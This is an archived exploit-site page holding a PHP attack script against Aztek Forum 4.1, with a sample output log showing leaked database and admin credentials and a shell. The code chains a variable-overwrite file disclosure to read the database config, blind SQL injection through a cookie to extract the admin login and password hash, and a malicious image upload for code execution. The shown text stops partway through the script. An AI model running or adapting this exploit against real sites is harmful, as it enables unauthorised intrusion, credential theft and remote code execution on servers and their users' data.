AOH :: HP Unsorted A :: C07-2106.HTM

Aztek Forum 4.1 Multiple Vulnerabilities Exploit



Aztek Forum 4.1 Multiple Vulnerabilities Exploit
Aztek Forum 4.1 Multiple Vulnerabilities Exploit



#!/usr/bin/php
= 1.2
error_reporting(E_ALL ^ E_NOTICE);

/*
 header> Aztek Forum 4.1 Multiple Vulnerabilities Exploit
 header> ================================================== sploit> Owner -> root
 status> Trying to register a new user
 sploit> Login/Password -> phpsploit8435
 status> Trying to get databases informations
 sploit> Full Path Disclosure -> /home/www/aztekforum/forum/load.php
 sploit> Done (./avatar/phpsploit8435.jpg)
 sploit> $dbhost -> localhost
 sploit> $usebdd -> aztek
 sploit> $user -> root
 sploit> $password -> toor
 sploit> $salt -> atk
 status> Trying to get the administrator login/passwd
 sploit> Username length 7
 sploit> Username -> darkfig
 sploit> Password length 13
 sploit> Password -> atovlv6iH1rUo
 sploit> Salt -> atk (Standard DES hash)
 sploit> Enter the decrypted password for continue: hello
 status> Uploading a malicious picture
 status> Trying to get logged in
 sploit> Done
 status> Creating a hidden forum
 sploit> Done
 status> Trying to include the picture
 $shell> whoami
 DarkFig

 $shell> exit
*/
if($argc < 2)
{
	print "\n---------------------------------------------------------";
	print "\nAffected.scr..: Aztek Forum V4.1";
	print "\nPoc.ID........: 21070125";
	print "\nType..........: Multiple vulnerability";
	print "\nConditions....: None =)";
	print "\nRisk.level....: High";
print "\nSrc.download..: www.forum-aztek.com"; 
	print "\nPoc.link......: acid-root.new.fr/poc/21070125.txt";
	print "\nCredits.......: DarkFig";
	print "\n---------------------------------------------------------";
	print "\nUsage.........: php xpl.php  ";
	print "\nProxyOptions..:  ";
print "\nExample.......: php xpl.php http://victim.com/"; 
	print "\n---------------------------------------------------------";
	exit(1);
}

/*

 ---[ CODE ./common/config.php
 -----------------------------
 @extract($_POST);	    // Variables en POST
 @extract($_GET);		// Variables en GET
 @extract($_COOKIE);	// Variable des cookies
 @extract($_SERVER);	// Variable Server
 -----------------------------
 |
 +-> All variables initialized before the inclusion can be overwritten.

 
 ---[ CODE ./common/safety.php
 -----------------------------
 $BANNED_STRING[] = "%22";
 $BANNED_STRING[] = "%23";
 $BANNED_STRING[] = "%47";
 ...
 foreach($_GET as $key=>$value) ...
 $_POST[$key] = str_replace($BANNED_STRING[$i], "", $_POST[$key]);
 $$key = $_POST[$key];
 ...
 foreach($_POST as $key=>$value) ...
 $_GET[$key] = str_replace($BANNED_STRING[$i], "", $_GET[$key]);
 $$key = $_GET[$key];
 -----------------------------
 |
 +-> Filter can be bypassed with extract($_COOKIE)
 
 
 ---[ CODE ./forum/load.php
 --------------------------
 if(!empty($fid)) $FORUM=$fid;
 ...
 $sql=dbquery("SELECT * FROM atk_forums WHERE id=$FORUM",33,29);
 $PF=mysql_fetch_array($sql);
 --------------------------
 |
 +-> Blind SQL Injection without quote

  
 ---[ CODE ./index/main.php
 --------------------------
 if($PF["top_url"]) @include($PF["top_url"]);
 --------------------------
 |
 +-> Remote File Inclusion (admin rights needed in order to insert "top_url" in "atk_forums")
 
 
 ---[ CODE ./index/common_actions.php
 ------------------------------------
 $file = $_FILES['upload']['tmp_name']; ...
 if(@copy($file,$path_file)) $avatar=$path_file;
 ------------------------------------
 |
 +-> $_FILES can be overwritten (with extract()), this can lead to file disclosure =).
 
 */
$url=$argv[1];$prs=$argv[2];
$pra=$argv[3];

$xpl = new phpsploit();
if(!empty($prs)) $xpl->proxy($prs);
if(!empty($pra)) $xpl->proxyauth($pra);

print "\nheader> Aztek Forum 4.1 Multiple Vulnerabilities Exploit";
print "\nheader> ===================================================";

if(preg_match("#href='\./index\.php\?owner=(\S*)'#i",$xpl->getcontent($xpl->get($url.'forum.php?fid=-1%20or%201=1')),$matches)) print "\nsploit> Owner -> ".$matches[1];
else die("\nsploit> Exploit failed");
$owner = $matches[1];

print "\nstatus> Trying to register a new user";
$xpl->cookiejar(1);
$xpl->allowredirection(1);
$name = "phpsploit".rand();
$xpl->post($url."index.php?owner=$owner&action=subscribe","login=$name&passwd=$name&passwd2=$name&email=$name%40hotmail.coum&show_email=on&cookie=on");
print "\nsploit> Login/Password -> $name";

print "\nstatus> Trying to get databases informations";
$xpl->get($url."forum.php?fid=XD");
if(preg_match("#file (.*) in function#i",$xpl->getcontent(),$matches)) print "\nsploit> Full Path Disclosure -> ".$matches[1];
else print("\nsploit> Failed");
$wanted = str_replace("forum/load.php","common/bddconf.php",$matches[1]);

if(!empty($wanted)){
$xpl->get($url."index.php?owner=$owner&action=profile&_SERVER[email]=$name%40hotmail.coum&_FILES[upload][tmp_name]=$wanted&_FILES[upload][name]=0123456789&_FILES[upload][type]=jpg");
$xpl->get($url."index.php?owner=$owner&choix=3");
if(preg_match("##i",$xpl->getcontent(),$matches)) print "\nsploit> Done (".$matches[1].")";
else print("\nsploit> Failed");
$avatarur = $matches[1];
if(!empty($matches[1])){
$xpl->get($url.str_replace("./","/",$matches[1]));
preg_match_all("#(.*)='(.*)';#",$xpl->getcontent(),$vars);
for($z=0;$z<=4;$z++){
print "\nsploit> ".strtolower($vars[1][$z])." -> ".$vars[2][$z];
}}}

print "\nstatus> Trying to get the administrator login/passwd";
$headers = array("Username","Password");
$fields  = array("login","passwd");
$value=$length=array();

for($a=0;$a<2;$a++){

print "\nsploit> ".$headers[$a]." length ";
for($b=1;$b<3;$b++){
for($c=48;$c<=57;$c++){
$xpl->addcookie("fid","-1%20OR%20SUBSTR(LENGTH((SELECT%20".$fields[$a]."%20FROM%20atk_users%20WHERE%20(admin)%20LIMIT%201)),$b,1)=CHAR($c)");
if(!preg_match("##i",$xpl->getcontent($xpl->get($url."forum.php")))) {
   $length[$a] .= chr($c);
   print chr($c);
   break;
}}}

print "\nsploit> ".$headers[$a]." -> ";
for($d=1;$d<=$length[$a];$d++){
for($e=0;$e<=128;$e++){
$xpl->addcookie("fid","-1%20OR%20HEX(SUBSTR((SELECT%20".$fields[$a]."%20FROM%20atk_users%20WHERE%20(admin)%20LIMIT%201),$d,1))=HEX(CHAR($e))");
if(!preg_match("##i",$xpl->getcontent($xpl->get($url."forum.php")))) {
   $value[$a] .= chr($e);
   print chr($e);
   break;
}}}}

$salt = !empty($vars[2][4]) ? $vars[2][4] : 'atk'; # Always the same salt ...
print "\nsploit> Salt -> $salt (Standard DES hash)";
print "\nsploit> Enter the decrypted password for continue: ";
$password = trim(fgets(STDIN));
$xpl->addcookie("fid","-1 or 1=1");
$xpl->cookiejar(1);

print "status> Uploading a malicious picture";
$formdata = array(frmdt_url => $url."?owner=$owner&action=profile",
"email" => "$name@hotmail.coum", 
"url" => "http://", 
                  "upload"  => array(frmdt_type     => "image/jpg",
                                     frmdt_filename => "hello.jpg",
                                     frmdt_content  => ""),
                  "avatar"  => "./avatar/welcome.jpg");
$xpl->formdata($formdata);

print "\nstatus> Trying to get logged in";
$xpl->post($url.'myadmin.php?action=login','login='.$value[0].'&passwd='.$password);
if(preg_match("#ATK_ADMIN#i",$xpl->showcookie())) print "\nsploit> Done";
else die("\nsploit> Exploit failed");

print "\nstatus> Creating a hidden forum";
$xpl->get($url.'myadmin.php?choix=2');
if(!preg_match("#

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.